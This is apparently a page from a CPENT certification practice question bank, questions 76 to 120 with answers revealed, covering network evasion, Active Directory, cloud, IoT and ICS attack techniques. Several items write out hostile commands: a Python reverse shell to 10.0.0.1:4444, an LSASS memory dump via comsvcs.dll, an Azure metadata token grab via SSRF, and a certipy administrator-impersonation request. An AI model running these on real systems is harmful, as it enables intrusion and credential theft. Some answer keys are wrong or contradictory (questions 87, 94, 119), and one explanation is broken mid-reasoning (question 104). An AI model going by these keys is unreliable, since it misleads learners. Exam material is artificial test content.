Courseiva

EC-Council Certified Penetration Testing Professional (CPENT) (CPENT) (CPENT) — Questions 76150

276 questions total · 4pages · All types, answers revealed

Page 1

Page 2 of 4

Page 3
76
MCQhard

An attacker has established a foothold inside a corporate network and needs to scan an internal subnet without generating noisy network connections that trigger host-based IDS alerts. They decide to use an idle scan. Which Nmap argument implements an idle scan via a zombie host?

A.-sZ
B.-sO
C.-sI
D.-sM
AnswerC

-sI enables the TCP Idle scan using a zombie IP address.

Why this answer

The -sI flag instructs Nmap to perform an idle scan using a specified zombie host, allowing completely blind port scanning where packets appear to originate from the zombie.

77
MCQhard

During an internal assessment, a tester wants to extract cleartext credentials from network traffic passing through a switched network segment where they have achieved ARP spoofing positioning. Which Wireshark display filter isolates SMB authentication handshakes to locate cleartext credential exchanges?

A.kerberos
B.ldap
C.smb || smb2
D.http.request or ftp.request
AnswerC

This filter isolates both version 1 and version 2 Server Message Block traffic.

Why this answer

SMB traffic relies heavily on SMB and SMB2 protocols. The display filter 'smb || smb2' isolates SMB protocol transactions.

78
MCQmedium

An auditor is reviewing an ICS network architecture and notes that a Supervisory Control and Data Acquisition (SCADA) server communicates with remote terminal units (RTUs) via DNP3 over serial-to-ethernet terminal servers. The auditor wants to test if unauthenticated DNP3 control commands can be accepted. Which default port should the auditor probe for DNP3 traffic?

A.TCP 443
B.TCP 2404
C.TCP/UDP 20000
D.TCP 44818
AnswerC

Port 20000 is the standard port assigned for DNP3 communications in industrial networks.

Why this answer

DNP3 (Distributed Network Protocol) is heavily used in electric and water utilities and operates by default on TCP/UDP port 20000.

79
MCQmedium

During an assessment of a Google Cloud Platform (GCP) environment, a penetration tester finds a Compute Engine instance with default service account credentials and scopes set to https://www.googleapis.com/auth/cloud-platform. What security implication does this broad scope present?

A.Google Cloud automatically rotates the service account private key every 60 seconds.
B.The service account possesses permissions across all GCP services unless explicitly restricted by IAM project-level bindings.
C.The instance is automatically accessible via SSH from any external IP address without firewall rules.
D.The instance metadata server disables access tokens to prevent Server-Side Request Forgery.
AnswerB

Broad scopes combined with broad IAM roles expose the entire project.

Why this answer

The default compute service account with full cloud-platform scope grants broad access to GCP APIs unless further restricted by IAM roles.

80
MCQhard

A penetration tester has obtained execution on a Linux host and needs to exfiltrate a sensitive archive file through a tightly restricted firewall that only permits outbound DNS traffic. Which tool and technique should the tester use?

A.Standard FTP client configured to use port 53 as the control channel.
B.Wget command pointing to an external HTTP server listening on port 53.
C.Netcat in listening mode on TCP port 53.
D.A DNS tunneling tool such as dnscat2 or iodine to encode the archive into DNS query records.
AnswerD

DNS tunneling encapsulates arbitrary data within DNS queries and responses, bypassing strict egress filtering.

Why this answer

DNS tunneling tools like dnscat2 or iodine encapsulate data inside DNS queries (such as TXT, A, or CNAME records) sent to a controlled nameserver.

81
MCQhard

A penetration tester is auditing an organization's wireless network and discovers an enterprise WPA2-Enterprise deployment utilizing PEAP-MSCHAPv2. Which tool can be used to set up a rogue RADIUS authentication server to capture enterprise user credentials when clients mistakenly associate?

A.Aircrack-ng
B.Hostapd-mana
C.Reaver
D.Kismet
AnswerB

Hostapd-mana is a modified hostapd designed to harvest credentials from Enterprise Wi-Fi clients.

Why this answer

EAPHammer or Hostapd-mana are specialized tools used to execute rogue access point attacks and evil twin attacks against WPA2/WPA3 Enterprise networks to capture credentials.

82
Multi-Selectmedium

Which TWO methods can an operator use to mitigate or prevent detection while performing Kerberoasting during an internal penetration test?

Select 2 answers
A.Use AES encryption types exclusively to prevent RC4 weak encryption analysis
B.Disable Kerberos pre-authentication on all service accounts
C.Export the NTDS.dit database directly over SMB
D.Request tickets for specific target service accounts rather than bulk-querying all SPNs at once
E.Perform offline cracking using dictionary and rule-based attacks against the retrieved TGS tickets
AnswersA, D

Enforcing AES (AES256-HMAC) makes offline cracking significantly harder compared to RC4.

Why this answer

Kerberoasting generates standard TGS-REQ traffic that is difficult to stop without disabling RC4 or using strong passwords. Attackers minimize detection by requesting specific SPNs rather than bulk enumeration, or by using RC4/AES downgrades carefully.

83
MCQeasy

During an assessment of a smart water treatment facility, an analyst notices an HTTP-based web interface running on an embedded PLC. The analyst wants to discover hidden administrative backup directories and configuration files on the web server. Which command-line tool is specifically designed for brute-forcing web server directories and files?

A.Gobuster
B.Wifite
C.Nbtscan
D.Hping3
AnswerA

Gobuster is a fast tool written in Go used to brute-force URIs, directories, and DNS subdomains on web servers.

Why this answer

Gobuster or Dirb/Dirbuster are standard directory brute-forcing tools used to find hidden web resources.

84
MCQhard

An engineer is conducting a security audit on a smart grid device that uses CoAP over DTLS. The engineer attempts to intercept the handshake and notices pre-shared key (PSK) cipher suites are enabled. Which OpenSSL command can the engineer use to test connecting to the DTLS service using a specific Pre-Shared Key identifier and hex-encoded key?

A.openssl s_client -dtls1 -psk 01020304 -psk_identity test_id -connect 192.168.1.50:5684
B.ssh -p 5684 -o KexAlgorithms=psk 192.168.1.50
C.nc -u 192.168.1.50 5684
D.telnet 192.168.1.50 5684
AnswerA

The openssl s_client command supports '-dtls1', '-psk', and '-psk_identity' to authenticate against DTLS-PSK protected endpoints.

Why this answer

OpenSSL supports DTLS testing and allows specifying PSK identity and keys using parameters like '-psk' and '-psk_identity'.

85
MCQmedium

During an internal penetration test, an operator compromises a Windows workstation and needs to harvest clear-text credentials or NTLM hashes from memory without generating excessive security alerts. Which built-in Windows administrative tool or mechanism can be leveraged legitimately to dump the lsass.exe process memory for offline analysis?

A.Invoke PowerShell with the Get-WmiObject Win32_Process cmdlet specifying the LSASS process handle
B.Execute the native net accounts command with the /dump flag to extract password hashes from the SAM registry hive
C.Run the built-in command rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
D.Use the tasklist /m lsass.exe command to output the active directory database credentials to the console
AnswerC

Correct because rundll32 combined with comsvcs.dll is a native Living off the Land binary technique used to dump lsass memory.

Why this answer

Comsvcs.dll exports an undocumented function (MiniDumpW) that can be invoked via rundll32.exe to create a minidump of the lsass.exe process, a common Living off the Land technique used by attackers to bypass basic detection mechanisms.

86
MCQmedium

A penetration tester is analyzing an Azure environment and discovers that an Azure Function App has been configured with managed identity enabled and possesses 'Contributor' access to the subscription. The function code contains a Server-Side Request Forgery (SSRF) vulnerability. How can the tester exploit the Azure Instance Metadata Service (IMDS) via this SSRF to elevate privileges?

A.Query 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01' with the header 'Metadata: true' to obtain an Azure access token using the managed identity.
B.Send a crafted SOAP request to the Azure Resource Manager endpoint to extract the storage account account key.
C.Extract the master deployment credentials from the Azure Web Job environment variables via port 443.
D.Exploit the Azure Function proxy configuration to read the /etc/passwd file from the underlying hypervisor.
AnswerA

Correct. The Azure IMDS endpoint provides tokens for managed identities when queried with the required Metadata header.

Why this answer

Azure functions with managed identities can query the local IMDS endpoint (http://169.254.169.254/metadata/identity/oauth2/token) using a specific header (Metadata: true) to retrieve OAuth 2.0 access tokens for Azure resources.

87
MCQmedium

A penetration tester has compromised an account that possesses the 'GenericAll' permission over a Group Policy Object (GPO) linked to the domain. How can this permission be leveraged to achieve remote code execution across systems affected by the GPO?

A.Modify the GPO's SYSVOL folder contents to inject a malicious Immediate Task or startup script
B.Extract domain administrator password hashes directly from the GPO ACL metadata
C.Perform a DCSync attack against the GPO container in the configuration partition
D.Request a TGT ticket with custom PAC extensions via Kerberos delegation
AnswerA, C

By editing the GPO files in SYSVOL and updating the Group Policy Template, an attacker can force target machines to execute arbitrary payloads when the policy is refreshed.

Why this answer

Having GenericAll or WriteProperty rights over a GPO allows an attacker to modify the GPO settings, such as adding a Scheduled Task or an Immediate Task via 'Preferences -> Control Panel Settings -> Scheduled Tasks', which will execute commands on targets processing that GPO.

88
Multi-Selecthard

An IoT penetration tester is analyzing the security of a Zigbee smart lighting installation. Which TWO of the following tools or frameworks are specifically utilized when assessing 802.15.4 and Zigbee wireless security? (Choose TWO)

Select 2 answers
A.KillerBee (Python framework for exploiting Zigbee/IEEE 802.15.4)
B.Aircrack-ng suite for cracking WPA-PSK Wi-Fi pre-shared keys
C.Wireshark configured with a captured network key to decrypt 802.15.4 application layers
D.Metasploit 'msfvenom' module generating Windows Meterpreter payloads for Active Directory persistence
E.Burp Suite Professional for intercepting HTTP requests from web applications
AnswersA, C

KillerBee provides tools for packet sniffing, node enumeration, and packet injection against Zigbee networks.

Why this answer

KillerBee and Universal Radio Hacker (URH) or Wireshark with appropriate hardware dongles (like CC2531) are standard toolsets for Zigbee and 802.15.4 assessments.

89
Multi-Selectmedium

A penetration tester is conducting an assessment of an MQTT-based smart home ecosystem. Which THREE of the following security configuration checks should the tester perform on the MQTT broker? (Choose THREE)

Select 3 answers
A.Verifying that the broker responds to Modbus/TCP function code 0x10 write requests
B.Testing if Access Control Lists (ACLs) are enforced to restrict topic publishing and subscribing rights
C.Executing an 802.11 deauthentication flood against the MQTT broker's MAC address
D.Verifying whether anonymous client connections are permitted by the broker
E.Checking if communication traffic is encrypted using TLS (Transport Layer Security)
AnswersB, D, E

Without ACLs, any authenticated client can access and control sensitive command topics across the broker.

Why this answer

MQTT security assessments focus heavily on authentication, authorization (ACLs), and transport encryption (TLS).

90
MCQeasy

A penetration tester is evaluating a smart home IoT hub and needs to extract the firmware to analyze hardcoded cryptographic keys. The device exposes a physical debugging interface on the board with clock, data, ground, and power pins. Which hardware hacking tool should the tester connect to these pins to interact with the internal flash memory and dump the firmware?

A.Bus Pirate
B.Wireshark
C.Logic Analyzer
D.HackRF One
AnswerA

The Bus Pirate is a universal bus interface that can communicate over SPI and I2C to read flash memory chips directly.

Why this answer

A Bus Pirate or similar hardware interface tool (like a Shikra or Total Phase Beagle) is used to interact with hardware communication protocols such as SPI, I2C, and UART to dump firmware. Wireshark is a network protocol analyzer, HackRF One is a software-defined radio for wireless analysis, and a Logic Analyzer captures signals but does not actively interface for reading/writing flash memory in this context.

91
MCQeasy

A penetration tester is evaluating an embedded IoT device that exposes a Telnet service on port 23. The tester suspects default credentials are in use. Which command-line tool can the tester use to perform a fast dictionary attack against the Telnet service using a username and password list?

A.Sqlmap
B.Hydra
C.Nikto
D.Wpscan
AnswerB

Hydra supports brute-forcing Telnet authentication with specified user and password lists.

Why this answer

Hydra is a versatile, parallelized login cracker supporting numerous network authentication protocols, including Telnet.

92
MCQeasy

A penetration tester has gained a standard user shell on a Windows machine and wants to check for unquoted service paths. Which PowerShell command should they run to identify services with unquoted paths and spaces in their names without administrative privileges?

A.Get-CimInstance Win32_StartupCommand | Select-Object Name, Command
B.Get-WmiObject win32_service | select Name, PathName | where { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
C.sc query state= all | findstr /i "binpath"
D.Get-Service | Where-Object { $_.Status -eq 'Running' -and $_.Path -notmatch '"' }
AnswerB

This command correctly targets services with paths containing spaces that lack leading quotation marks.

Why this answer

Unquoted service paths can be queried via WMI or PowerShell without admin rights. The Get-WmiObject command querying Win32_Service can filter for paths containing spaces and not enclosed in quotes.

93
MCQmedium

An operator has compromised an account with GenericAll permissions over a computer object in Active Directory. How can this permission be leveraged to achieve code execution on the target host?

A.Modify the user's PrimaryGroupID to map to Domain Admins directly.
B.Execute a DCSync attack against the computer object's registry hive.
C.Directly modify the local SAM database of the target computer over RPC without credentials.
D.Configure msDS-AllowedToActOnBehalfOfOtherIdentity to point to a controlled account, enabling Resource-Based Constrained Delegation.
AnswerD

GenericAll grants full control, allowing modification of msDS-AllowedToActOnBehalfOfOtherIdentity to execute RBCD attacks.

Why this answer

GenericAll permissions on a computer object allow an attacker to modify the servicePrincipalName attribute or reset the computer password, but more commonly allows writing explicit delegation or adding user rights. Alternatively, adding a user to local groups via WinRM or modifying msDS-AllowedToActOnBehalfOfOtherIdentity enables constrained delegation abuse.

94
Multi-Selecthard

In the context of AD CS abuse, which THREE vulnerabilities or template settings are categorized under certificate template misconfigurations that allow privilege escalation?

Select 3 answers
A.ESC1: Enrollee supplies subject and template permits client authentication for low-privileged users
B.ESC4: Low-privileged users have Write permissions (Modify/WriteDACL) over the certificate template
C.ESC10: Strict certificate mapping and strong SID binding enforced
D.LDAP signing enforced across all domain controllers
E.ESC8: HTTP-based enrollment endpoints permitting NTLM relay
AnswersA, B, E

ESC1 allows requesting certificates for arbitrary users.

Why this answer

AD CS misconfigurations like ESC1 (enrollee supplies subject), ESC2 (any purpose EKU), and ESC3 (enrollment agent templates) represent common template-based vulnerabilities.

95
MCQhard

During a post-exploitation phase, a penetration tester wants to perform lateral movement using WMI (Windows Management Instrumentation) from a compromised Windows workstation to a domain controller. Which network port must be accessible through host and network firewalls to initiate the WMI connection?

A.TCP port 135 (RPC Endpoint Mapper)
B.UDP port 53 (DNS)
C.TCP port 445 (SMB)
D.TCP port 3389 (RDP)
AnswerA

WMI uses DCOM, which initiates communication via TCP port 135.

Why this answer

WMI relies on DCOM, which uses RPC. The initial connection to the RPC Endpoint Mapper is made on TCP port 135, after which dynamic high ports are negotiated.

96
MCQeasy

A penetration tester is performing service enumeration on a target FTP server. To quickly grab the banner and check what FTP software version is running without initiating an interactive login session, which tool is most appropriate?

A.Netcat
B.Wpscan
C.Hashcat
D.Airbase-ng
AnswerA

Netcat can be used to connect to raw TCP ports to read service banners.

Why this answer

Netcat or Nmap service version detection can grab banners. Netcat allows manual connection to port 21 to view the greeting banner.

97
MCQhard

A penetration tester is performing a network assessment against a target running an advanced Intrusion Prevention System (IPS). To evade signature-based detection that looks for standard Nmap probe payloads, which Nmap option allows the user to append random junk data to generated packets?

A.--mtu
B.--badsum
C.--data-length
D.-f
AnswerC

--data-length appends random data to packets, altering packet sizes to bypass signature rules.

Why this answer

The --data-length option tells Nmap to append a random number of bytes to the sent packets, altering their length signature and evading simple signature-based Nmap detection rules.

98
Multi-Selecthard

You are hardening and analyzing network perimeter defenses against advanced evasion techniques. Which TWO of the following Nmap features or scan modifications are specifically designed to evade packet inspection filters by altering packet headers or timing parameters?

Select 2 answers
A.Using the -p- option to scan all 65,535 TCP ports on the target host
B.Using the -D option to launch a decoy scan with multiple fake source IP addresses
C.Using the --script option to execute NSE vulnerability scripts against open ports
D.Using the -oA option to output scan results simultaneously in normal, XML, and Grepable formats
E.Using the --source-port or -g option to spoof source ports to trusted ports like 53 or 20
AnswersB, E

Decoy scanning (-D) masks the penetration tester's real IP address by mixing scanning packets with packets originating from several forged source IPs.

Why this answer

Nmap allows timing templates (-T0 through -T5) to evade rate-limiting sensors, and decoy scanning (-D) to obscure the true source IP address among multiple fake addresses.

99
MCQhard

A pentester needs to exploit an AD CS vulnerability where a low-privileged user can enroll in a template that permits Client Authentication and has the 'ENROLLEE_SUPPLIES_SUBJECT' flag set. Which tool from Certipy can be used to request a certificate and subsequently authenticate as a high-privileged user?

A.certipy req -u user@corp.local -p password -target ca.corp.local -template VulnerableTemplate -upn administrator@corp.local
B.certipy shadow -username user -target dc01
C.certipy ca -backup -ca "corp-CA-1"
D.certipy template -update VulnerableTemplate -enrollee-supplies-subject True
AnswerA

This command requests a certificate as a standard user specifying an alternate UPN (administrator), exploiting ESC1.

Why this answer

Certipy is an industry-standard tool for auditing and abusing Active Directory Certificate Services. The 'certipy req' command handles certificate requests using specified templates and alternate subject names.

100
MCQmedium

During an internal network security assessment, a tester discovers that a legacy application communicates over a custom TCP port with unencrypted traffic. To capture and analyze this traffic without disrupting communications, which passive technique on a managed switch should be configured by the network administrator?

A.802.1X Authentication
B.VLAN Trunking Protocol
C.SPAN (Switched Port Analyzer) / Port Mirroring
D.Port Security
AnswerC

SPAN copies network traffic passing through specific ports to a monitoring port for analysis.

Why this answer

Port Mirroring, also known as Switched Port Analyzer (SPAN), copies traffic from one or more switch ports to a destination monitoring port where a tool like Wireshark is connected.

101
MCQhard

A penetration tester is analyzing a Kubernetes deployment where a ClusterRole grants the verbs get, list, and watch on secrets, combined with a ClusterRoleBinding assigning this to a default service account in a public-facing namespace. How can an external attacker exploit this configuration?

A.By exploiting an application vulnerability to obtain the service account token, then querying the Kubernetes API to dump all cluster-wide secrets.
B.By executing a kernel-level exploit against the etcd database directly from outside the cluster.
C.By generating a self-signed certificate authority to impersonate the kube-apiserver.
D.By performing a DNS poisoning attack against CoreDNS to redirect authentication tokens.
AnswerA

Cluster-wide secret access permits harvesting sensitive credentials across namespaces.

Why this answer

If the namespace is exposed or pods running the default service account are compromised via an RCE vulnerability, the attacker can harvest sensitive application secrets across the entire cluster.

102
Multi-Selecthard

An elite penetration tester is attempting to evade network intrusion detection systems (IDS) during a port scan. Which THREE techniques can be applied via Nmap command-line options to obscure the scan origin or payload? (Choose THREE)

Select 3 answers
A.Packet fragmentation (-f flag)
B.Aggressive timing template (-T5)
C.Source IP spoofing (-S flag)
D.OS fingerprinting (-O flag)
E.Decoy scanning (-D flag)
AnswersA, C, E

Fragmenting IP packets splits TCP headers across multiple packets to bypass simple signature inspections.

Why this answer

Decoys (-D), source IP spoofing (-S), and packet fragmentation (-f) are classic Nmap evasion techniques.

103
Multi-Selecthard

An ethical hacker is evaluating a Bluetooth Low Energy (BLE) medical sensor. Which TWO of the following vulnerabilities or attack vectors are commonly associated with insecure BLE implementations in IoT devices? (Choose TWO)

Select 2 answers
A.Executing a remote buffer overflow against the Linux kernel via wireless 802.11 management frames
B.Static or hardcoded pairing PINs (e.g., '0000' or '1234') susceptible to sniffing and brute-forcing
C.Injecting malicious SQL statements into the BLE radio frequency advertising packets
D.Performing an ARP cache poisoning attack against the target device's switch port
E.Insecure GATT characteristics allowing unauthorized unauthenticated read and write operations
AnswersB, E

Using static or weak pairing PINs allows attackers to sniff pairing exchanges or brute-force the PIN to establish an encrypted connection.

Why this answer

BLE implementations frequently suffer from lack of encryption/pairing authentication, insecure GATT characteristic permissions allowing arbitrary reads/writes, and predictable static pairing PINs.

104
MCQmedium

During an assessment of a hybrid Active Directory environment, a penetration tester compromises an on-premises user account that is synchronized to Azure AD via Azure AD Connect. The tester notices that the on-premises account is a member of the local 'Backup Operators' group. Which hybrid attack path is most directly enabled by this configuration?

A.The tester can execute an Azure Seamless Single Sign-On ticket-forgery attack directly from the local workstation.
B.The tester can extract the plaintext credentials of the Azure AD Connect sync account stored improperly in the registry by Backup Operators.
C.The tester can directly use DCSync against the Azure AD Graph API to extract cloud-only administrative password hashes.
D.The tester can exploit local file read privileges associated with Backup Operators to access the NTDS.dit file, enabling offline hash extraction and subsequent synchronization abuse.
AnswerD

Correct. Backup Operators have permissions to read all files on the system, which allows the extraction of the NTDS.dit file and registry SYSTEM hive for offline cracking, impacting the hybrid sync boundary.

Why this answer

Members of the 'Backup Operators' group in Active Directory have local rights to read file contents, but more importantly, in hybrid environments with Azure AD Connect, accounts with specific local privileges or DCSync rights can sometimes be leveraged, or more specifically, the synchronization allows credential abuse. However, Backup Operators can read the NTDS.dit file or abuse local file access. Wait, specifically for Azure AD Connect, the service account or synchronized accounts can sometimes lead to Azure AD takeover if password hashes can be synchronized or if the Azure AD Connect server itself is compromised.

Let's look at the options.

105
MCQmedium

While reviewing a hybrid identity deployment utilizing Azure AD Connect, a penetration tester observes that Password Hash Sync (PHS) is enabled alongside Pass-Through Authentication (PTA). What security implication does this configuration present during an on-premises domain compromise?

A.Pass-through authentication agents become vulnerable to remote code execution via the Azure service bus.
B.Password hashes for all synchronized accounts are stored in Azure AD, meaning compromise of the cloud tenant could expose on-premises credentials.
C.Azure AD Connect agents will automatically downgrade encryption standards for domain controller communications.
D.Kerberos ticket granting service requests are bypassed entirely for hybrid users.
AnswerB

PHS replicates password hashes to Azure AD.

Why this answer

When PHS is enabled, synchronized password hashes reside in Azure AD, meaning a complete on-premises compromise exposes the hashes of all synced accounts to cloud credential dumping if Azure AD is later targeted.

106
Multi-Selectmedium

An operator wants to perform lateral movement across an internal network using native Windows administrative protocols that do not require installing third-party agent software. Which THREE protocols or services can be leveraged? Choose three.

Select 3 answers
A.FTP (File Transfer Protocol)
B.WinRM (Windows Remote Management)
C.SNMP (Simple Network Management Protocol)
D.RDP (Remote Desktop Protocol)
E.SMB / RPC (via Service Control Manager / ADMIN$)
AnswersB, D, E

WinRM enables remote PowerShell execution and management.

Why this answer

WinRM, SMB (via PsExec/Services), and RDP are native Windows protocols commonly used for lateral movement.

107
Multi-Selectmedium

A penetration tester is performing lateral movement inside an Active Directory domain and wants to use Pass-the-Hash (PtH) attacks to authenticate to other systems without cracking user passwords. Which TWO requirements must be met for a successful Pass-the-Hash attack using NTLM hashes against Windows targets?

Select 2 answers
A.The target account's NTLM password hash must be known to the attacker
B.SMB signing must be globally disabled across the entire Active Directory forest
C.The target system must accept NTLM authentication (i.e., NTLM is not completely disabled via group policy)
D.The target user account must have Kerberos pre-authentication disabled
E.The local Windows Firewall on the domain controller must be completely disabled
AnswersA, C

Correct because PtH substitutes the plaintext password with the corresponding NTLM hash for authentication.

Why this answer

Pass-the-Hash requires the target account's NTLM hash (or LM hash) and requires the target machine to either have UAC network restrictions mitigated (LocalAccountTokenFilterPolicy set) when using local accounts, or to target domain accounts where Kerberos is not strictly enforced over NTLM.

108
MCQeasy

A security analyst is auditing an internal network and wishes to identify all active DNS servers that allow unauthorized zone transfers (AXFR). Which tool is specifically designed to test for DNS zone transfer vulnerabilities?

A.Nbtscan
B.DirBuster
C.Snort
D.Dig
AnswerD

Dig (Domain Information Groper) can be used to query DNS servers and test for zone transfers using the AXFR query type.

Why this answer

Dig or host can perform zone transfers, but Fierce or dnsrecon are specialized DNS enumeration scripts, and 'dig @ns-server domain axfr' is the direct command.

109
MCQhard

A security engineer discovers that an AWS IAM user has an active access key and permissions to run ec2:RunInstances, iam:PassRole, and iam:CreateRole. What privilege escalation path does this permission combination represent?

A.The user can launch a new EC2 instance and attach a privileged IAM role via iam:PassRole, then access the instance to obtain temporary security credentials.
B.The user can modify the trust policy of the root user account using iam:CreateRole.
C.The user can inject malicious code into the AWS Nitro Enclave hypervisor layer.
D.The user can escalate privileges by updating their own MFA device via the EC2 metadata service.
AnswerA

Passing a high-privilege role to an EC2 instance allows full access to that role's permissions.

Why this answer

An attacker with iam:PassRole and ec2:RunInstances can spin up an EC2 instance passing an elevated IAM role, then log into the instance via SSH or session manager to extract the role's temporary credentials.

110
Multi-Selectmedium

A penetration tester is conducting reconnaissance against a web application firewall (WAF) protected perimeter. Which TWO methods can help identify whether a WAF is present in front of a web server? (Choose TWO)

Select 2 answers
A.Reviewing local ARP cache tables
B.Running the wafw00f enumeration tool
C.Performing a standard ICMP ping sweep
D.Running a DNS zone transfer (AXFR) query
E.Triggering known bad request patterns (e.g., malformed payloads) to observe block responses
AnswersB, E

Wafw00f is designed specifically to identify and fingerprint web application firewalls.

Why this answer

Sending anomalous HTTP requests or triggering typical attack signatures (like WAF-testing tools such as wafw00f) and observing unique block pages or headers are standard WAF detection techniques.

111
MCQmedium

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

A.python -c 'import pty; pty.spawn("/bin/sh")'
B.python -m SimpleHTTPServer 80
C.python -c 'print("Hello World")'
D.python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
AnswerD

This creates a socket connection back to the attacker and redirects file descriptors to spawn a bash shell.

Why this answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

112
Multi-Selectmedium

An ethical hacker has compromised a machine account and discovered that it has 'GenericAll' or 'WriteDacl' privileges over a privileged domain group (such as Domain Admins). Which TWO techniques or actions can the operator perform using these permissions to escalate privileges? (Choose TWO)

Select 2 answers
A.Execute a Kerberoasting attack against the Active Directory Web Services endpoint
B.Extract plaintext passwords from the Windows Registry SAM hive remotely using ping.exe
C.Add a compromised or attacker-controlled user account to the privileged group using PowerView or net group
D.Force an immediate password reset of the krbtgt account via Group Policy Preferences
E.Modify the group's Access Control List (ACL) using tools like PowerView to grant 'GenericAll' or 'AddMember' rights to their current user
AnswersC, E

With GenericAll/WriteMembers permissions over a group, an attacker can directly add a user to that group.

Why this answer

Having write access or GenericAll over a group allows an attacker to add a controlled user to that privileged group (e.g., via Add-DomainGroupMember) or modify the ACLs to grant themselves full control over the group object.

113
Multi-Selecteasy

An auditor reviews cloud logging and monitoring configurations across an enterprise multi-cloud environment. Which TWO of the following practices represent critical security deficiencies? (Choose TWO)

Select 2 answers
A.Configuring automated alerts for unusual spikes in cloud resource creation.
B.Hardcoding cloud provider API access keys directly into public application source code repositories.
C.Using cloud-native Key Management Services with automatic key rotation enabled.
D.Disabling centralized cloud audit logging (such as AWS CloudTrail or Azure Activity Logs) to save storage costs.
E.Enforcing least-privilege access principles across all IAM service accounts.
AnswersB, D

Hardcoded credentials in code repositories lead to immediate compromise.

Why this answer

Disabling audit logging and storing static administrative keys in code repositories are critical security deficiencies.

114
MCQhard

During an assessment of an enterprise network, you discover an insecure Server Message Block (SMB) configuration. You want to enumerate network shares and user accounts using enum4linux without triggering account lockout policies through brute-force methods. Which underlying protocol implementation does enum4linux primarily leverage to query Windows and Samba hosts for granular domain information?

A.Remote Procedure Calls (RPC) over SMB
B.Lightweight Directory Access Protocol (LDAP) over port 389
C.NetBIOS Name Service (NBNS) over UDP port 137
D.Simple Network Management Protocol (SNMP)
AnswerA

Enum4linux leverages RPC interfaces (such as SAMR and LSA) exposed over SMB to extract detailed domain users, groups, and share information.

Why this answer

Enum4linux is a wrapper around Samba tools that primarily utilizes the Remote Procedure Call (RPC) interface over named pipes (specifically via port 445 or 139) to query Windows systems for users, shares, and group memberships.

115
MCQmedium

An ethical hacker is performing a security assessment on an industrial facility and discovers an open Zigbee network. The hacker wants to perform active reconnaissance to map all connected nodes and routing tables. Which open-source toolset provides utilities like 'zigbee-discovery' and packet generation for IEEE 802.15.4 networks?

A.Impacket
B.Airgeddon
C.Bettercap
D.KillerBee
AnswerD

KillerBee provides tools like zbdump, zbgoodfind, and zigbee-discovery to assess the security of Zigbee implementations.

Why this answer

KillerBee is a popular Python framework and toolset for security auditing and exploiting Zigbee and IEEE 802.15.4 networks.

116
Multi-Selectmedium

An IoT penetration tester is conducting a security audit of a Linux-based smart gateway. Which THREE of the following commands or file inspection techniques can the tester use on the device (or extracted rootfs) to identify privilege escalation vectors or misconfigurations? (Choose THREE)

Select 3 answers
A.Analyzing Modbus holding registers for unauthorized register modifications
B.Checking Bluetooth GATT profile characteristics using nRF Connect
C.Reviewing sudo privileges using 'sudo -l'
D.Inspecting scheduled tasks and cron jobs in '/etc/crontab' and '/var/spool/cron/'
E.Finding files with SUID/SGID permissions using 'find / -perm -4000 2>/dev/null'
AnswersC, D, E

The 'sudo -l' command lists permitted sudo commands for the current user, revealing if they can run administrative commands without a password.

Why this answer

Finding privilege escalation vectors involves searching for SUID/SGID binaries, inspecting sudo permissions, and checking cron jobs.

117
MCQmedium

A penetration tester has compromised an internal Windows workstation and wants to extract saved credentials from the Local Security Authority Subsystem Service (LSASS) memory. Which utility from the Sysinternals suite, frequently abused by red teams, can be used to safely dump the lsass.exe process memory?

A.ProcDump
B.Process Explorer
C.TCPView
D.Autoruns
AnswerA

ProcDump is a Sysinternals command-line utility used to monitor CPU spikes and generate crash dumps, often used to dump LSASS.

Why this answer

Procdump, a Sysinternals utility, can be used to generate a memory dump of lsass.exe, which can then be transferred offline to extract NTLM hashes or cleartext passwords using Mimikatz.

118
MCQeasy

A penetration tester reviewing a Windows machine identifies that a scheduled task executes a script with administrative privileges, but the script file has weak permissions allowing standard users to modify it. What type of privilege escalation vector does this represent?

A.Unquoted service path exploitation involving spaces in service binary names.
B.DLL Hijacking via PATH environment variable manipulation.
C.Insecure Scheduled Task Permissions / Writable Task Executable
D.Kerberoasting against domain service principal names.
AnswerC

Writable scheduled task executables or scripts allow attackers to replace the payload with malicious code executed by the task's high-privileged context.

Why this answer

If a scheduled task runs as SYSTEM or an admin, and the underlying script or binary is writable by low-privileged users, it represents an insecure file permissions vulnerability leading to privilege escalation when the task triggers.

119
Multi-Selecthard

An IoT security analyst is performing a firmware security review of an embedded Linux router. Which TWO of the following static analysis techniques or tools should the analyst employ to identify hardcoded secrets and vulnerable binaries within the extracted root file system? (Choose TWO)

Select 3 answers
A.Using 'grep' or 'strings' combined with regular expressions to search for API keys, passwords, and private certificates
B.Flashing a modified bootloader directly onto the physical SPI flash chip using a desoldered programmer
C.Executing an active ARP cache poisoning attack against the physical development router
D.Running 'checksec' against compiled ELF binaries to verify the presence of NX (No-Execute), ASLR, and Stack Canaries
E.Capturing over-the-air 802.11 management frames using Wireshark
AnswersA, C, D

Searching extracted binaries and configuration files for strings and patterns is a primary method for uncovering hardcoded credentials.

Why this answer

Static analysis of firmware involves searching for hardcoded keys using pattern matching tools like 'grep' or 'Strings' and checking binary hardening properties using tools like 'checksec'.

120
Multi-Selecthard

An ICS penetration tester is auditing a manufacturing plant floor. Which TWO of the following methodologies or tools are specifically used for identifying and fingerprinting industrial control system devices across the network? (Choose TWO)

Select 2 answers
A.Using 'Aircrack-ng' to inject Bluetooth Low Energy advertisements into nearby smart meters
B.Running 'sqlmap' against TCP port 80 to extract database schemas from the corporate ERP
C.Cracking WPA2 enterprise handshakes using Hashcat and a dictionary list
D.Using Nmap with industrial NSE scripts such as 'modbus-discover', 's7-info', and 'enip-info'
E.Employing active asset discovery tools designed for OT environments (e.g., Nozomi Guardian, Claroty, or Dragos Platform)
AnswersD, E

